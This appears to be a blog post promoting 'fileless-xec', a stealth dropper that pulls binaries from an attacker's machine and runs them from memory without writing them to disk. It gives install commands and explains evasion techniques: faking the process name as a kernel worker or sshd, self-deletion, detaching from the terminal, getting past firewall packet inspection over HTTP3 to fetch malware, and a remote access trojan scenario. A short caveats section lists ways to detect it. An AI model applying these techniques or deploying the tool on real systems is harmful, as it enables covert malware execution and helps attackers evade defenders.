Kali Linux

Fileless-Xec : Stealth Dropper Executing Remote Binaries Without Dropping Them On Disk

Fileless-Xec is a Stealth Dropper Executing Remote Binaries Without Dropping Them On Disk

Pentest use: fileless-xec is used on target machine to stealthy execute a binary file located on attacker machine

Short story

fileless-xec enable us to execute a remote binary on a local machine directly from memory without dropping them on disk

Install

From release

Linux:

curl -lO -L https://github.com/ariary/fileless-xec/releases/latest/download/fileless-xec

Windows:

curl -lO -L https://github.com/ariary/fileless-xec/releases/latest/download/fileless-xec_windows.exe

From source

Clone the repo and download the dependencies locally:

git clone https://github.com/ariary/fileless-xec.git
cd fileless-xec
make before.build

To build the fileless-xec for linux 

build.fileless-xec

To build the fileless-xec for windows

windows.build.fileless-xec

With go command

Make sure $GOPATH is in your $PATH before

Install fileless-xec

go install github.com/ariary/fileless-xec/cmd/fileless-xec

Explanation

We want to execute writeNsleep binary locate on a remote machine, locally.

We first start a python http server on remote. Locally we use fileless-xec and impersonate the /usr/sbin/sshd name for the execution of the binary writeNsleep(for steal thiness & fun). Once write N sleep started fileless-xec will delete itself (--self-remove)

Other use cases

  • Execute binary with stdout/stdin
  • Execute binary with arguments
  • fileless-xec self remove
  • Bypass network restriction using ICMP
  • Bypass firewall with HTTP3
  • “Remote go”: execute go binaries without having go installed locally
  • Execute a shell script
  • fileless-xec server mode
    • RAT (Remote Access Trojan) scenario
  • fileless-xec on windows

Steal thiness story

  • The binary file is not mapped into the host file system
  • The execution program name could be customizable
  • Bypass 3rd generation firewall could be done with http3 support
  • fileless-xec self removes once launched

memfd_create

The remote binary file is stored locally using memfd_create syscall, which store it within a memory disk which is not mapped into the file system (ie you can’t find it using ls).

fexecve

Then we execute it using fexecve syscall (as it is currently not provided by syscall golang library we implem it).

With fexecve we could exec a program, but we reference the program to run using a file descriptor, instead of the full path.

HTTP3/QUIC

Enable it with -Q/http3 flag.
You can setup a light web rootfs server supporting http3 by running go run ./test/http3/light-server.go -p LISTENING PORT (This is http3 equivalent of python3 -m http.server )
use test/http3/genkey.sh to generate cert and key.

QUIC UDP aka http3 is a new generation Internet protocol that speeds online web applications that are susceptible to delay, such as searching, video streaming etc., by reducing the round-trip time (RTT) needed to connect to a server.

Because QUIC uses proprietary encryption equivalent to TLS (this will change in the future with a standardized version), 3rd generation firewalls that provide application control and visibility encounter difficulties to control and monitor QUIC traffic.

If you actually use fileless-xec as a dropper (Only for testing purpose or with the authorization), you likely want to execute some type of malwares or other file that could be drop by packet analysis. Hence, with Quic enables you could bypass packet analysis and GET a malware.

Also, in case firewall is only used for allowing/blocking traffic it could happen that firewall rules forget the udp protocol making your requests go under the radars

other skill for stealthiness

Although not present on the memory disk, the running program can still be detected using ps command for example.

  1. Cover the tracks with a fake program name

fileless-xec --name <fake_name> <binary_raw_url> by default the name is [kworker/u:0]

  1. Detach from tty to map behaviour of deamon process

setsid fileless-xec <binary_raw_url>WIP call setsid from code

Caveats

You could still be detected with:

$ lsof | grep memfd

Or also opensnoop (but not by execsnoop)

Or seccomp profile auditing execve syscall (but it is very overwhelming as a sleep command also use execve)

R K

Recent Posts

Install VirtualBox on Ubuntu 18.04 from the Oracle Repository

VirtualBox is a free, open-source, cross-platform virtualization application maintained by Oracle. It lets you run multiple…

10 hours ago

Install PostgreSQL on Ubuntu 18.04 with Remote Access Setup

PostgreSQL (also called Postgres) is a free, open-source, object-relational database management system with a strong reputation…

10 hours ago

Install VMware on Ubuntu 18.04: Workstation Player Setup Guide

VMware Workstation Player is a mature, stable virtualization platform that lets you run multiple isolated operating…

10 hours ago

Set Up a UFW Firewall on Ubuntu 18.04: Allow, Deny, and Manage

A properly configured firewall is one of the most important layers of security for any internet-facing server. UFW (Uncomplicated Firewall) is a user-friendly front-end for managing iptables rules that ships pre-installed on Ubuntu. Its defaults are sensible: block all incoming connections, allow all outgoing connections. No outside traffic reaches your server unless you explicitly open a port. This guide covers how to configure a UFW firewall on Ubuntu 18.04, from setting default policies and application profiles to writing allow and deny rules for specific ports, IPs, and subnets. <strong>Prerequisite:</strong>&nbsp;You&nbsp;need&nbsp;sudo&nbsp;access. Configure UFW Firewall on Ubuntu: Defaults, SSH, and Application Profiles If UFW is not installed, add it with: bashsudo…

11 hours ago

Disable UFW Firewall on Ubuntu 18.04: Stop, Reset, and Re-enable

UFW (Uncomplicated Firewall) is a user-friendly front-end for managing iptables rules on Ubuntu. It ships pre-installed…

11 hours ago

Install Apache Cassandra on Ubuntu 18.04: NoSQL Setup Guide

Apache Cassandra is a free, open-source NoSQL database designed for high availability and linear scalability with…

1 day ago